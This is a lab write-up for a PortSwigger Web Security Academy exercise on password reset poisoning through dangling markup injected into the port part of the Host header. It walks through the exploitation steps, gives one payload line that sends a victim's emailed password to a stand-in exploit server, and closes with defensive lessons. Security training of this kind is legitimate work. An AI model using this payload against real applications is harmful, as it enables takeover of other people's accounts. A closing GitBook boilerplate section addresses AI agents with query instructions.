> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-authentication-labs/lab-15.md).

# lab-15

## Password Reset Poisoning via Dangling Markup

**Difficulty:** Expert

### Lab Description

This lab is vulnerable to password reset poisoning via dangling markup.

**Objective:** Log in to Carlos's account.

**Credentials:** `wiener:peter` (emails readable via the exploit server's email client)

### Root Cause

The application generates password reset emails using the client-controlled `Host` header to build an absolute URL. Although the application validates the domain name portion of the `Host` header, it fails to properly validate or sanitise the **port** portion. An attacker can inject HTML by supplying a malicious, non-numeric port value.

Additionally, the raw HTML email viewer renders the email without sanitisation. This allows the injected HTML to execute as dangling markup, causing the remainder of the email — including the newly generated password — to become part of an attacker-controlled URL. When the victim opens the email, the browser requests that URL, leaking the password and enabling account takeover.

### Exploitation

1. Log in as `wiener:peter` and request a password reset for your own account.
2. Inspect the reset email and observe that the **new password is included directly in the email body** (rather than a reset link).
3. Intercept the `POST /forgot-password` request and send it to Repeater.
4. Verify that changing the `Host` domain causes a validation error, but adding a non-numeric port value is accepted.
5. Inject a dangling markup payload in the port portion of the `Host` header:

   ```
   Host: LAB-ID.web-security-academy.net:'<a href="//YOUR-EXPLOIT-SERVER/?
   ```
6. Send the request and confirm in the email client that the rendered email is truncated — the injected `<a>` tag captures the remainder of the email body (including the password) as part of the URL.
7. Check the **Exploit Server → Access Log** and retrieve the leaked password from the captured request URL.
8. Repeat the attack using `username=carlos` in the request body.
9. Retrieve Carlos's newly generated password from the exploit server logs.
10. Log in as `carlos` using the leaked password to complete the lab.

### Lesson Learned

* Validate **every component** of the `Host` header — including the port — not just the domain.
* Never construct security-sensitive URLs using client-controlled request headers.
* Always use a trusted, server-side configured domain when generating absolute URLs.
* Apply consistent sanitisation across all HTML rendering paths. The raw HTML email view must apply the same security controls as the normal email view.
* Escape all untrusted input before embedding it into HTML attributes to prevent HTML injection and dangling markup attacks.
* Treat email clients as a potential attack surface — HTML emails can be abused to leak sensitive information if rendered without proper sanitisation.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-authentication-labs/lab-15.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.